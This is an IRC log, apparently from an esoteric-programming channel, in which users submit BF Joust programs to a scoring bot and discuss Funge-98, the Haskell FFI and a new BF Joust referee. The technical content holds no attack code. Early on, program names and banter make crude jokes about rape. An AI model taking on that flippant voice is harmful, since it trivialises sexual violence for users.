15:06:25 <elliott> hmm STRN seems easy
15:06:33 <elliott> by "input a string" does MKRY mean "line" or what :)
15:07:07 <Vorpal> elliott, what I do is give the rest of the input line buffer as the result of that (unless it is empty in which case I read a line)
15:07:27 <Gregor> !bfjoust raping_turtle -(>+>-)*4>([([+)*144(])*144+>]+>[([-)*144(])*144->]->)*11
15:07:29 <Vorpal> elliott, I forgot if I strip away the trailing \n or not
15:07:37 <oerjan> <quintopia> check your pms <-- THAT'S VERY INSENSITIVE TO THE WOMEN HERE
15:07:42 <oerjan> all zero of them
15:07:53 <EgoBot> Score for Gregor_raping_turtle: 13.1
15:07:57 <elliott> don't be silly, Herobrine is obviously female
15:07:57 <Gregor> AWESOME FAILS
15:08:05 <oerjan> ok then
15:08:05 <Vorpal> elliott, ... what?
15:08:15 <oerjan> quintopia: THAT'S VERY INSENSITIVE TO HEROBRINE
15:08:25 <elliott> also Vorpal, even more obviously female!
15:08:29 -!- tswett has quit (Remote host closed the connection).
15:08:30 -!- Deewiant has quit (Remote host closed the connection).
15:08:34 <Vorpal> elliott, no :P
15:08:36 <oerjan> ...i have _some_ doubts about that.
15:08:49 <elliott> Vorpal: is there something wrong with that? do you feel _accused_? are you SEXIST?
15:08:54 <oerjan> arvida norlander
15:08:57 <elliott> oerjan: why? if I said e was male you wouldn't object!!
15:08:59 <elliott> that's sexism!
15:09:01 <Gregor> !bfjoust raping_turtle -(>+>-)*4>([(+)*112([+)*32(])*32+>]+>[(-)*112([-)*32(])*32->]->)*11
15:09:01 <elliott> institutionalised sexism!
15:09:04 <elliott> i'm leaving forever ->
15:09:22 <oerjan> elliott: i have some conflicting information
15:09:30 <EgoBot> Score for Gregor_raping_turtle: 12.1
15:09:36 <Gregor> Yesssssssssssssssssssssssss
15:09:43 -!- Deewiant_ has changed nick to Deewiant.
15:10:21 <Gregor> !bfjoust raping_turtle -(>+>-)*4>([(+)*120([+)*16(])*16+>]+>[(+)*120([+)*16(])*16->]->)*11
15:10:38 <Vorpal> Gregor, is that the verb or the adjective in that program name?
15:10:46 <EgoBot> Score for Gregor_raping_turtle: 12.8
15:10:52 <Deewiant> Dude you're pushing me below defend13, don't do that
15:10:53 <Gregor> Adjective.
15:10:55 <elliott> Deewiant: That henk guy that isn't rcfunge or catseye or glfunge, where are the specs for those
15:11:00 <Gregor> Like {snapping,crapping,rapping}
15:11:33 <Vorpal> hm
15:11:36 <oerjan> Gregor: I SENSE A LACK OF SHORT VOWEL
15:11:39 <elliott> Raping is a verb?
15:11:50 <ais523> no, it's an adjective
15:12:03 <elliott> I'm just saying, how could it not be adjective
15:12:04 <ais523> a participle, to be precise, the adjective form of a verb
15:12:05 <oerjan> the seed of rape
15:12:10 <elliott> oerjan: *groan*
15:12:10 <Gregor> oerjan: Yeah, well raping_turtle is a fail regardless :P
15:12:12 <Vorpal> oh wait I misread that word as another one.
15:12:15 <Vorpal> I blame elliott
15:12:16 <ais523> alternatively, it's a noun
15:12:26 <elliott> How on earth can you misread "raping"
15:12:27 <ais523> because there's also a gerund spelt the same way, derived from the same verb
15:12:33 <oerjan> Gregor: it cannot get the speed up
15:12:46 <Gregor> I really don't understand why this does so much worse than rapping_turtle ....
15:12:47 <Vorpal> elliott, you talked about sexism. I misread it as "rapeing"
15:12:56 <elliott> Rapeing isn't a word.
15:13:00 <elliott> Let alone an adjective or a verb.
15:13:09 -!- BeholdMyGlory has joined.
15:13:18 <elliott> But yes, "raping" means what you think "rapeing" means :P
15:13:51 <oerjan> I SENSE THE CURRENT BFJOUST NAMING CONVENTIONS DO NOT REFLECT WELL ON THIS COMMUNITY
15:13:57 <elliott> Deewiant: [[Rc/Funge-98 is the official implementation of these fingerprints. When a behavior is not specified in these specs, the way that Rc/Funge-98 operates is the correct behavior]]
15:14:04 <elliott> Deewiant: SPECIFIED SEGFAULTS
15:14:08 <elliott> oerjan: *GREGOR'S CURRENT
15:14:14 <Gregor> !bfjoust fapping_turtle -(>+>-)*4>([(+)*120(+.)*16(-.)*16>]+>[(+)*120(+.)*16(-.)*16>]->)*11
15:14:16 <Deewiant> elliott: :-P
15:14:23 <Vorpal> elliott, right. But then follows that "to rape" gives that "raping"?
15:14:29 <EgoBot> Score for Gregor_fapping_turtle: 34.1
15:14:31 <elliott> Vorpal: What?
15:14:31 <Vorpal> or did that turn it into an adjective?
15:14:42 <elliott> I think you're very confused about how the English language works
15:14:50 <Deewiant> elliott: Not anywhere AFAICT: mirror http://tar.us.to:1234/
15:15:10 <Gregor> !bfjoust fapping_turtle -(>+>-)*4>([(+)*121(+.)*14(-.)*14>]+>[(+)*121(+.)*14(-.)*14>]->)*11
15:15:22 <Vorpal> elliott, isn't the -ing form of a verb still a verb?
15:15:25 <EgoBot> Score for Gregor_fapping_turtle: 34.1
15:15:45 <Gregor> !bfjoust fapping_turtle -(>+>-)*4>([(+)*124(+.)*8(-.)*4>]+>[(+)*124(+.)*8(-.)*4>]->)*11
15:15:52 <ais523> Vorpal: verbs generally have two -ing forms, one of which is an adjective (present participle), and the other of which is a noun (gerund)
15:15:57 <EgoBot> Score for Gregor_fapping_turtle: 35.3
15:16:02 <Gregor> Foobar.
15:16:05 <ais523> present participles basically always end -ing; gerunds sometimes end -ion instead
15:16:27 <ais523> (e.g. verb "subscribe" -> participle "subscribing", gerund "subscription")
15:16:56 <Vorpal> ais523, then "raping turtle" could mean either "the act of raping a turtle" or "a turtle that rapes <noun>"?
15:17:00 <oerjan> subscription is a gerund? i thought it was latin.
15:17:10 -!- Behold has quit (Ping timeout: 272 seconds).
15:17:13 <ais523> Vorpal: only the second
15:17:17 -!- elliott has quit (Quit: Leaving).
15:17:22 -!- elliott has joined.
15:17:24 <elliott> ARRY: "Addresses used by this extension are absolute, the storage offset does NOT apply to these functions."
15:17:25 <ais523> the first would have the words the other way round, "turtle raping"
15:17:27 <elliott> But why
15:17:31 <ais523> because English is often word-order-sensitive
15:17:54 <ais523> oerjan: gerunds come up more in Latin than English, for whatever reason
15:18:08 <Gregor> !bfjoust fapping_turtle -(>+>-)*4>([(-.)*8(+)*112(+.)*16>]+>[(-.)*8(+)*112(+.)*16>]->)*11
15:18:19 <EgoBot> Score for Gregor_fapping_turtle: 3.6
15:18:22 <elliott> Hey guys, nonsensual intercourse with testudines
15:18:24 <Gregor> wtf
15:18:24 <Vorpal> ais523, hm... I'm pretty sure that other order does occur. Mostly in titles. (Not that specific example of though)
15:18:28 <elliott> *nonconsensual
15:18:44 <Vorpal> possibly they are not correct though
15:18:45 <oerjan> elliott: it's not particularly sensual either
15:18:55 <elliott> Deewiant: NCRS is the sane one and TERM the insane one right?
15:19:05 <Vorpal> elliott, neither is completely sane
15:19:11 <elliott> More-sanerer
15:19:18 <Vorpal> elliott, not really.
15:19:30 <elliott> Doesn't CCBI do NCRS and not TERM or something
15:19:31 <Vorpal> elliott, I didn't know one was saner than the other either
15:20:07 <Vorpal> elliott, I believe that was the case for ccbi1. Or it did TERM only on windows or something like that
15:20:16 <Deewiant> CCBI1 did TERM only on Windows, yes
15:20:45 <Vorpal> Deewiant, ccbi2 does it on both?
15:21:06 <Deewiant> Yep
15:21:14 <Vorpal> anyway TERM isn't insane. It is just cursor positioning mostly.
15:21:24 <Gregor> !bfjoust fapping_turtle -(>+>-)*4>([(-..)*8(+)*112(+..)*16+>]+>[(-..)*8(+)*112(+..)*16->]->)*11
15:21:25 <elliott> @hoogle String -> CString
15:21:26 <lambdabot> Foreign.C.String newCAString :: String -> IO CString
15:21:26 <lambdabot> Foreign.C.String newCString :: String -> IO CString
15:21:26 <lambdabot> Prelude read :: Read a => String -> a
15:21:35 <EgoBot> Score for Gregor_fapping_turtle: 3.6
15:22:56 <elliott> $ ./ffitest
15:22:56 <elliott> Hello, world!
15:22:56 <elliott> Woot
15:23:06 <elliott> {-# LANGUAGE ForeignFunctionInterface #-}
15:23:07 <elliott> import Foreign.C
15:23:07 <elliott> foreign import ccall "puts" c_puts :: CString -> IO ()
15:23:07 <elliott> main :: IO ()
15:23:07 <elliott> main = c_puts =<< newCAString "Hello, world!"
15:23:19 <Gregor> !bfjoust fapping_turtle -(>+>-)*4>([(-.)*8(+)*128(+.)*16+>]+>[(-.)*8(+)*128(+.)*16->]->)*11
15:23:22 <Gregor> Bad math is bad
15:23:31 <EgoBot> Score for Gregor_fapping_turtle: 25.0
15:24:02 <Deewiant> Thanks, I'm above defend13 again
15:24:05 <Gregor> !bfjoust fapping_turtle -(>+>-)*4>([(+.)*256+>]+>[(+.)*120(+.)*16->]->)*11
15:24:16 <Gregor> I'm gonna kill fapping_turtle soon :P
15:24:21 <EgoBot> Score for Gregor_fapping_turtle: 16.0
15:24:31 <Gregor> !bfjoust fapping_turtle <
15:24:34 <Gregor> !bfjoust raping_turtle <
15:24:40 <EgoBot> Score for Gregor_fapping_turtle: 0.0
15:24:48 <EgoBot> Score for Gregor_raping_turtle: 0.0
15:26:57 <Gregor> I'm disappointed that I can't do better without actually looking into other code and targeting specific contenders :(
15:30:54 <elliott> Poor raping turtle.
15:31:21 <elliott> Vorpal: Here's some fun for you:
15:31:23 <elliott> [[Some C functions are actually defined by a CPP header file to be a C macro. Suppose you foreign import such a "function", thus:
15:31:23 <elliott> foreign import foo :: Int -> IO Int
15:31:23 <elliott> Then you'll get the right thing if you compile using -fvia-C, provided you cause the right header files to be included. But the native code generator knows nothing of CPP mcros, so it will generate a call to a non-existent C function "foo". In effect, the FFI is defined to interface to the C ABI rather than the C API; it doesn't take account of CPP magic.]]
15:31:38 <elliott> i.e. I could do ncurses without a C wrapper, iff I use the right code generator :-P
15:32:30 <ais523> ncurses is full of macros
15:32:45 <elliott> Exactly.
15:32:55 <Vorpal> elliott, how does ccbi manage it?
15:33:03 <elliott> With a C wrapper I believe
15:33:37 <elliott> $ ./ffitest
15:33:37 <elliott> Segmentation fault
15:33:41 <elliott> Haskell: LANGUAGE OF SAFETY
15:34:48 -!- copumpkin has joined.
15:35:00 <elliott> Woo, almost works now \o/
15:35:01 <myndzi> |
15:35:01 <myndzi> /|
15:35:50 <fizzie> elliott:
15:35:51 <fizzie> Prelude Unsafe.Coerce Data.ByteString> (unsafeCoerce 42 :: ByteString)
15:35:51 <fizzie> Loading package bytestring-0.9.1.5 ... linking ... done.
15:35:51 <fizzie> "Segmentation fault
15:35:56 <fizzie> Language of safety, indeed!
15:36:02 <elliott> fizzie: INDEED
15:36:17 <elliott> Woo, I now have env(1) written in hideously-unsafe Haskell.
15:36:44 <Deewiant> What, you don't have Unsafe.Coerce imported by your .ghci?
15:36:48 <elliott> Deewiant: :-D
15:36:57 <elliott> It uses the environ variable, and C's puts.
15:37:08 <Deewiant> I thought I might've but evidently not
15:37:12 <elliott> So it's FAST (0.006 seconds, that's almost as fast as cfunge running Mycology)
15:37:18 <elliott> Deewiant: You actually use unsafeCoerce? :-P
15:37:18 <Deewiant> :m +Control.Applicative Control.Arrow Control.Monad Control.Monad.Loops Data.Char Data.Either Data.Function Data.Functor Data.List Data.List.Split Data.Maybe Data.Monoid Data.Ord Numeric Text.Printf
15:37:29 <elliott> "Numeric" :x
15:37:32 <elliott> THAT'S NOT HIERARCHICAL
15:37:43 <Deewiant> There is no more hierarchical version of it
15:37:52 <Deewiant> @hoogle showIntAtBase
15:37:52 <lambdabot> Numeric showIntAtBase :: Integral a => a -> (Int -> Char) -> a -> ShowS
15:38:09 <elliott> Well, yes.
15:38:37 <oerjan> fizzie: we thus have proved that ByteStrings are not the Answer.
15:38:58 <Gregor> quintopia: What the hell does wireless_frownie DO?
15:39:38 <oerjan> elliott: Numeric and Foreign, iirc
15:39:48 <elliott> oerjan: ?
15:39:56 <oerjan> elliott: no hierarchy
15:41:10 <elliott> oerjan: well Foreign has a hierarchy underneath it
15:41:18 <elliott> Numeric should be Data.Numeric really
15:41:53 <elliott> I like how Foreign stole my peek and poke names :(
15:42:41 <oerjan> > showIntAtBase 13 intToDigit (6*9) ""
15:42:42 <lambdabot> "42"
15:42:46 <elliott> http://sprunge.us/NjCI HOW TO PROGMA IN C
15:42:49 <elliott> SORRY
15:42:50 <elliott> *CSKELL
15:45:13 <elliott> MANDATORY_PATH=/usr/share/gconf/gnome.mandatory.path
15:45:14 <elliott> GNOME_DESKTOP_SESSION_ID=this-is-deprecated
15:45:14 <elliott> Interesting environment variables...
15:46:22 -!- sebbu has joined.
15:46:58 <elliott> Deewiant: Does Windows have putenv()?
15:47:20 <fizzie> "This POSIX function is deprecated beginning in Visual C++ 2005. Use the ISO C++ conformant _putenv or security-enhanced _putenv_s instead."
15:47:23 <Deewiant> I think it does
15:47:23 <fizzie> But in theory, yes.
15:47:35 <elliott> Security-enhanced. Heh.
15:47:36 <Deewiant> But not setenv
15:47:41 <elliott> It has the environ variable, right?
15:47:44 <Deewiant> Nope
15:47:49 <elliott> Deewiant: You sure? >_<
15:47:51 <Deewiant> Yep
15:48:04 <elliott> OH WELL, I'll just make EVAR POSIX-only like it is now.
15:48:29 <ais523> fizzie: Microsoft have deprecated quite a lot of the C89 libraries
15:48:51 <ais523> replacing them with _s versions which take (buffer, buffersize) pairs rather than just buffers
15:49:04 <elliott> Deewiant: I don't suppose 0"oof"P can remove the environment variable "foo"? :-P
15:49:07 <ais523> this becomes a little ridiculous in the case of functions that /already/ took the buffer size as input
15:49:11 <elliott> It does say the argument is of the form foo=bar
15:49:14 <elliott> So I guess that's fine
15:49:42 <ais523> basically, it's a case of Microsoft missing the point of C
15:49:44 <fizzie> ais523: The C1x "bounds-checking interfaces" thing has _s functions that are quite similar.
15:50:01 <ais523> fizzie: hmm
15:50:29 <ais523> I seem to remember Microsoft suggested their _s functions to the C committee, and they rejected them in favour of something else
15:51:09 <elliott> @hoogle CString -> IO String
15:51:09 <lambdabot> Foreign.C.String peekCAString :: CString -> IO String
15:51:10 <lambdabot> Foreign.C.String peekCString :: CString -> IO String
15:51:10 <lambdabot> Prelude show :: Show a => a -> String
15:51:50 <elliott> C1x seems pretty crap so far :)
15:53:43 <Gregor> Somebody pastebin an explanation of the no-expansion algorithms for BFJoust.
15:54:00 <fizzie> ais523: I'm not sure they're exactly the same; but similar. And even those that already took a size (say memcpy) do extra checking (for NULLs and such) and fail in a bit more safe fashion than a segfault.
15:55:11 <fizzie> (Food now. ->)
15:56:07 <elliott> Gregor: No, I'm implementing lance.
15:56:11 <elliott> Gregor: Stop ruining my fun >_<
15:56:24 <Gregor> elliott: What I'm trying to make is in no way competition for lance. It is strictly complementary.
15:56:33 <elliott> Gregor: But that's the only thing lance has :P
15:56:45 <Gregor> elliott: I am not making a replacement for egojoust.
15:56:48 <elliott> Ask oerjan I guess, he generalised it today/yesterday.
15:56:56 <elliott> Gregor: YOU ARE GRANTED PERMISSION THIS ONE TIME
15:57:33 -!- Minizours has joined.
15:57:37 <elliott> 13:54:34 <oerjan> elliott: basically ( pushes starting count on the stack, { iterates back to matching ( or pops, } pushes like (, and ) iterates or pops
15:57:37 <elliott> 13:55:13 <oerjan> and provided [] matches inside () and inside {} like the rule is supposedly already, it should all work
15:57:37 <elliott> 13:56:05 <oerjan> hm i guess } and ) need to count the reverse way of ( and {
15:57:38 <elliott> Gregor: ^
15:57:48 -!- Minizours has left (?).
15:57:59 <elliott> I think that way, * is the same as % after a (), and {} just become freaky-deaky virtual 0-tick instructions
15:58:23 <ais523> elliott: not quite: { needs to look forwards to the % after the ) matching the containing (
15:58:27 <ais523> to know what the repeat count is
15:58:28 <Gregor> I'm not sure I'm convinced about [], in particular with respect to non-matching []s in ()s.
15:58:39 <elliott> non-matching []s in ()s is evil and should be banned.
15:58:45 <ais523> non-matching []s in ()s are disallowed by the spec as you're supposed to use ({}) instead
15:58:46 <elliott> ais523: why does defend13 have a *-160?
15:58:56 <ais523> elliott: it doesn't?
15:59:02 <elliott> ais523: oerjan said it did.
15:59:04 <elliott> or was that defend14.
15:59:33 <ais523> I don't duplicate anything a negative number of times
15:59:43 <elliott> You do
15:59:46 <elliott> You've just forgotten where
15:59:48 <elliott> Or oerjan is a liar
15:59:49 <elliott> :P
15:59:57 <ais523> nope, just checked
16:00:08 <ais523> duplicating something a negative number of times would make no sense anyway
16:00:14 <elliott> SO I HEAR THIS MUBARAK PERSON STEPPED DOWN, just trying to keep #esoteric ON TOP OF CURRENT EVENTS, like we always are
16:00:18 <elliott> ais523: it's the same as *100000 in egojoust
16:00:21 <elliott> but you _do_ do it!
16:00:32 <elliott> oerjan is infallible
16:00:41 <ais523> elliott: I just ran control-F over defend14's source
16:00:48 <ais523> and defend13 as well
16:00:49 <ais523> no *- there
16:00:53 <elliott> 11.02.10:13:15:59 <oerjan> so why does ais523_defend9 contain *-160 twice...
16:00:54 <elliott> 11.02.10:13:22:34 <oerjan> elliott: and there are two *-160, one containing exactly one [ and one containing exactly one ], so the match even if it's interpreted as 10000 :D
16:01:10 <ais523> elliott: you didn't say defend9!
16:01:17 <oerjan> yo
16:01:17 <elliott> ais523: <elliott> You do
16:01:18 <elliott> <elliott> You've just forgotten where
16:01:22 <elliott> i.e. I don't remember which contestant it was :P
16:01:23 <oerjan> elliott: **10000
16:01:32 <elliott> oerjan: erm really?
16:01:33 <ais523> also, that looks like a bug in defend9.pl
16:01:34 <elliott> how strange
16:01:39 <elliott> because the cycle count is 100000
16:01:40 <ais523> (in case you didn't guess, defend9 is machine-generated)
16:02:35 <elliott> ais523: maybe if you fixed it it'd do well :D
16:02:45 <ais523> nah, the code that bit's in is unlikely to ever run
16:02:51 <ais523> especially with the current hill
16:02:56 <ais523> it detects a strategy nobody uses
16:03:10 <elliott> Gregor: What does EgoJoust do for a tie, not change the return value?
16:03:30 <Gregor> The return value is WINS - LOSSES. Is a tie a win or a loss? :P
16:03:39 <Gregor> (The answer is "no" :P )
16:04:17 <elliott> !help
16:04:17 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
16:04:20 <elliott> Argh
16:04:21 <elliott> !info
16:04:22 <EgoBot> EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ . Cheers and patches (preferably hg bundles) can be sent to Richards@codu.org , PayPal donations can be sent to AKAQuinn@hotmail.com , complaints can be sent to /dev/null
16:04:40 <elliott> So Gregor, does that codu.org email forward to Hotmail :-p
16:04:41 <elliott> *:-P
16:04:48 <Gregor> elliott: ... no.
16:04:50 <elliott> <Gregor> The INSULT
16:04:53 <elliott> <Gregor> The OUTRAGE
16:05:34 <oerjan> ais523: did you notice my comment that (({{}})%)% also makes sense and is efficient?
16:05:52 <elliott> that's why LANCE, the enterprise BF Joust referee, will support it
16:06:02 <ais523> oerjan: no, but that's interesting
16:07:28 <oerjan> <elliott> oerjan: erm really? <-- really. if (times < 0 || times > 10000) times = 10000;
16:07:33 <elliott> :D
16:07:39 <elliott> to avoid OOM presumably
16:07:43 <elliott> not a problem with LANCE
16:08:30 <oerjan> elliott: however it helps nothing with people doing (()*10000)*10000
16:09:14 <elliott> indeed
16:09:21 <elliott> !bfjoust slug ((.)*-1)*-1
16:09:29 -!- Wamanuz has joined.
16:09:35 <elliott> !bfjoust
16:09:35 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
16:09:37 <oerjan> elliott: SHEESH
16:09:40 <elliott> :D
16:09:49 <elliott> huh it's actually running semi-quickly
16:09:49 <elliott> oh wait
16:09:52 <EgoBot> Score for elliott_slug: 10.0
16:09:53 <elliott> it only expands if there's no [ in it
16:10:01 <elliott> !bfjoust slug (([)*-1)*-1((])*-1)*-1
16:10:11 <ais523> !bfjoust rule_of_nine >(>+[[<](>)*9((-)*64[-]>)*21])*30
16:10:16 -!- PH|lazytypist has joined.
16:10:18 -!- Wamanuz5 has quit (Read error: Connection reset by peer).
16:10:26 <elliott> finally, an ais523 program name that isn't [program style][number]
16:10:33 <ais523> elliott: many of mine aren't like that
16:10:34 <oerjan> <Gregor> (The answer is "no" :P ) <-- although "both" would be equivalent
16:10:36 <elliott> ais523: are you the 523rd ais program?
16:10:43 <ais523> besides, that is [program style][number] if you think about it
16:10:53 <ais523> could you kill slug so I actually get a result before the end of the universe?
16:10:53 <elliott> it's the ninth rule_of program? :-)
16:11:03 <elliott> ais523: erm they run simultaneously
16:11:05 <elliott> see http://codu.org/eso/bfjoust/breakdown.txt
16:11:25 <ais523> I don't expect it to do too well; the strategy is reasonable, but that implementation isn't advanced enough
16:11:28 -!- PH|lazytypist has quit (Client Quit).
16:11:29 <ais523> and actually, they run in alphabetical order
16:11:36 <ais523> so there'll be a few of mine, then a few of yours
16:11:47 <ais523> I won't be able to get all my runs in unless you kill yours
16:12:06 <elliott> i'll wait until it stops running yours
16:12:11 <elliott> just because i want to see what will happen >_>
16:12:25 * elliott decides that programs have no business being more than four megabytes, sets that as static limit
16:12:27 <pikhq> Yesterday: Mubarak refuses to step down. Today: Mubarak flees from Cairo and steps down.
16:12:48 <ais523> Deewiant_sloth.bfjoust vs ais523_rule_of_nine.bfjoust: <<<<<<>>>>>>>><<<<<<< <>>><<<<<<<>>>>>>>>>> <>>><<<<<<<>>>>>>>>>> <<<<<<>>>>>>>><<<<<<< Tie
16:12:51 <ais523> that's... bizarre
16:13:05 <Deewiant> It's rare but not unheard of :-P
16:13:34 <elliott> rule_of_nine is not doing well :P
16:13:36 <Deewiant> Unless you meant something about the specific <> patterns
16:13:43 <elliott> I bet slug beats it
16:14:04 <ais523> elliott: indeed
16:14:10 <ais523> it's not advanced enough
16:14:14 <oerjan> Gregor: btw that bug i mentioned could be fixed by changing prog.bufused = prog.bufused - llen - 2 + temp.bufused; into prog.bufused = prog.bufused - end + i - 1 + temp.bufused , i think
16:14:15 <ais523> and yes, slug does beat it
16:14:38 <Gregor> oerjan: TBH, I'm kinda hoping elliott replaces egojoust outright X-P
16:14:44 <ais523> I think what rule_of_nine needs is to waste time, preferably by setting large decoys
16:14:48 <elliott> Gregor: That's what I'm coding right now :P
16:15:19 <elliott> DINK, /* + */
16:15:19 <elliott> DONK, /* - */
16:15:19 <elliott> FRTH, /* > */
16:15:19 <elliott> BACK, /* < */
16:15:19 <elliott> WAIT, /* . */
16:15:20 <elliott> LOOP, /* [ */
16:15:22 <elliott> POOL, /* ] */
16:15:24 <elliott> someone rename FRTH
16:15:29 <elliott> all my other operations fit into four chars nicely
16:15:44 <Deewiant> FORE
16:16:25 <elliott> I'd prefer "ADVANCE" "RETREAT" modifications, because it's not really > all the time
16:16:30 <elliott> it can go left if you're the right player etc.
16:16:40 <Deewiant> RITE / LEFT
16:16:44 <ais523> yep, it's best described as "towards enemy flag", "towards own flag"
16:16:58 <quintopia> gregor: stuff
16:17:08 <Gregor> I see.
16:17:40 <quintopia> i assume you're asking about the mess o' [+?
16:17:54 <ais523> and using such a command while on your own or enemy's flag means that you collide with the flag and die from concussion
16:18:58 <quintopia> elliott: THE ENEMY'S GATE IS RIGHT
16:19:20 * quintopia wonders what this rule_of_nine thing is
16:19:28 <ais523> not working atm
16:19:44 <oerjan> elliott: ONWD RTRT ?
16:20:00 <ais523> but the breakdown's indicating that it's at least a promising strategy
16:20:03 <elliott> oerjan: okay, fine
16:20:58 <oerjan> s/LOOP/LEAP/ , fits better with POOL >:)
16:21:01 <ais523> elliott: it looks like it just isn't executing slug at all
16:21:04 <quintopia> elliott: also TO and FRO
16:21:24 <elliott> ais523: probably didn't get the allocation it wanted
16:21:24 <oerjan> quintopia: i'd a thought 4 letters were mandatory here
16:21:28 <elliott> quintopia: that's not four characters!
16:21:32 <elliott> yes, MANDATROY
16:21:37 <elliott> my program will CRASH if they aren't used
16:21:39 <elliott> CRASH
16:22:02 <quintopia> paris was a mandaTROY
16:22:25 <elliott> hmm, what does unmatched [ do in egobot?
16:22:26 <elliott> nop?
16:22:33 <elliott> or does it end the program if the value isn't 0?
16:22:37 <quintopia> yerp
16:22:38 <elliott> erm
16:22:39 <elliott> is 0
16:22:41 <ais523> it should be parse error IMO
16:22:46 <quintopia> ^
16:22:57 <quintopia> does it matter what egojoust does?
16:22:57 <elliott> ais523: yeah, agreed, I was trying to preserve the ] is nop behaviour but _meh_
16:23:06 <oerjan> TWSE WSNS
16:23:07 <elliott> quintopia: well i don't want to break the current hill beyond program that do ([)*n
16:23:11 <elliott> well
16:23:17 <elliott> I might make ([)*n...(])*n work with a preprocessor
16:23:21 <elliott> but impomatic's program is gonna have to go :P
16:23:56 <quintopia> it would be unfair to break programs that do ([)*n because egojoust can't do ({})%n properly
16:25:00 <quintopia> alright, lunch over. time to go engage in an act of ritual vampirism for the good of my fellow man!
16:25:22 <oerjan> <elliott> hmm, what does unmatched [ do in egobot? <-- none of the programs i checked yesterday had that after expansion, anyway
16:25:30 <fizzie> Is there some reason why you can't just do the (slower) text-expansion thing for those ()*n's you can't handle well?
16:26:04 <elliott> fizzie: Not "can't handle well".
16:26:07 <elliott> fizzie: According to the spec, they're invalid.
16:26:22 <elliott> People are abusing undefined behaviour to write invalid programs that can't be run efficiently, and that's not my problem :P
16:26:59 <elliott> ais523: can I have two simple ()-less BF Joust programs where you know one beats the other on a defined tape length and polarity?
16:27:07 <quintopia> elliott: you should make a converter, that, if it gets an invalid program, converts it into a valid one and resaves it. also you should possibly remove this feature once the current hill has been processed by it :P
16:27:37 <elliott> quintopia: (1) That would cause rapid expansion for certain types of program's (a single impomatic one); the simple cases I'm planning to preprocess if I can't convince Gregor just to ditch the fuckers. :p
16:27:43 <elliott> (2) Indeed :P
16:28:02 <elliott> I'd like to add a tracing feature to lance, anyway, so you can debug your programs.
16:28:07 <elliott> Methinks some of us might find that useful :P
16:28:09 <oerjan> elliott: the impomatic one doesn't get _that_ large, i actually did that manually yesterday. oh i tried to match up parts though.
16:28:32 <elliott> oerjan: impomatic has way too many programs on the hill anyway :D
16:28:58 <oerjan> yeah there were only two that would affected if you do simple ()*n ... ()*n matching
16:29:16 <oerjan> (that would save 4 of them)
16:29:22 <ais523> elliott: [>[-]+] [>[-]-.-.-.-.-.-]; the first loses on normal polarity, the second loses on swapped polarity, the length of the tape doesn't matter
16:29:25 <oerjan> of course the hill may be different today
16:29:36 <oerjan> *be affected
16:29:39 <elliott> ais523: thank you
16:30:03 * elliott makes the makefile as insane as possible just for the hell of it
16:31:31 <elliott> # MWAHAHAHAHA
16:31:32 <elliott> all: lance
16:31:32 <elliott> lance: lance.c; $(shell grep '* compile:' $< | cut -d' ' -f4-)
16:31:32 <elliott> clean:; rm -f lance
16:31:33 <elliott> MWAHAHAHAHA
16:31:40 <elliott> *.PHONY
16:31:51 <oerjan> <quintopia> alright, lunch over. time to go engage in an act of ritual vampirism for the good of my fellow man! <-- i'd a thought that would fit better _during_ lunch, m'self
16:31:55 <elliott> * elliott hird 2011
16:31:55 <elliott> * compile: gcc -std=c99 -O2 -Wall lance.c -o lance
16:31:55 <elliott> * use: lance p1.bfjoust p2.bfjoust; $? = right wins - right losses
16:31:55 <elliott> */
16:31:57 <elliott> erm
16:32:02 <elliott> /* lance -- duel bf joust warriors efficiently
16:32:02 <elliott> * elliott hird 2011
16:32:02 <elliott> * compile: gcc -std=c99 -O2 -Wall lance.c -o lance
16:32:03 <elliott> * use: lance p1.bfjoust p2.bfjoust; $? = right wins - right losses
16:32:05 <elliott> */
16:32:09 <elliott> ais523: see wut i did thar
16:32:44 <EgoBot> Score for elliott_slug: 2.4
16:32:45 <EgoBot> Score for ais523_rule_of_nine: 2.4
16:34:02 <elliott> wow, it ran
16:34:06 <oerjan> that took a while.
16:34:09 <elliott> :D
16:34:12 <elliott> equal scores
16:34:16 <elliott> ais523: the only kind of cycle timeout is a tie, right?
16:34:19 <Gregor> "{ iterates back to matching ( or pops" When would it ever pop?
16:34:36 <Gregor> Ohduh, if the iteration count matches.
16:34:37 <Gregor> IGNORE ME
16:34:37 <Ilari> APNIC down 0.09 in last day, 0.35 in last 2 weeks.
16:34:38 <elliott> Gregor: If the count is 0, presumably.
16:34:43 <elliott> Gregor: What are you implementing?
16:34:53 <Gregor> elliott: You'll see :P
16:34:57 <Gregor> It does INVOLVE a BFJoust interpreter.
16:35:01 <ais523> Ilari: it's not going to last long, is it?
16:35:01 <elliott> Gregor: I MUST KNOW
16:35:08 <elliott> <elliott> ais523: the only kind of cycle timeout is a tie, right?
16:35:08 <oerjan> assuming ints for *loops are 4 bytes, if they're 8, then 900 Mb
16:35:10 -!- Behold has joined.
16:35:11 <elliott> Gregor: An evolver?
16:35:22 <elliott> oerjan: ints are 32 bit in C
16:35:22 <Gregor> Hah, no.
16:35:23 <elliott> generally
16:35:24 <elliott> on linux
16:35:25 <Gregor> More helpful to other people than that.
16:35:30 <elliott> Gregor: A debugger?
16:35:35 <Gregor> Ding
16:35:36 <oerjan> <Gregor> IGNORE ME <-- O KAY
16:35:38 <elliott> Gregor: Because the debugger/tracer is part of lance :|
16:35:44 <elliott> <elliott> I'd like to add a tracing feature to lance, anyway, so you can debug your programs.
16:35:44 <elliott> <elliott> Methinks some of us might find that useful :P
16:35:49 <Gregor> elliott: Mine will be nicer :P
16:36:01 <Ilari> This allocation rate is actually bit slowish compared to one shown in first half of December and on January.
16:36:02 <elliott> Gregor: Mine was going to have an optional ncurses animation of the tape activity.
16:36:05 <elliott> Gregor: NICER THAN THAT, BITCH?
16:36:12 <Gregor> Substantially.
16:36:15 <elliott> Gregor: What, then
16:36:24 <Gregor> Mine is browser-based :P
16:36:24 <elliott> Mine was going to let you change programs as they run!
16:36:30 <Gregor> Uhh, that I won't do.
16:36:41 <elliott> Gregor: You have a really weird definition of "nicer" that involves using a browser.
16:36:47 <oerjan> <elliott> Gregor: If the count is 0, presumably. <-- depends which side he lets count up and which counts down (they need to be opposite)
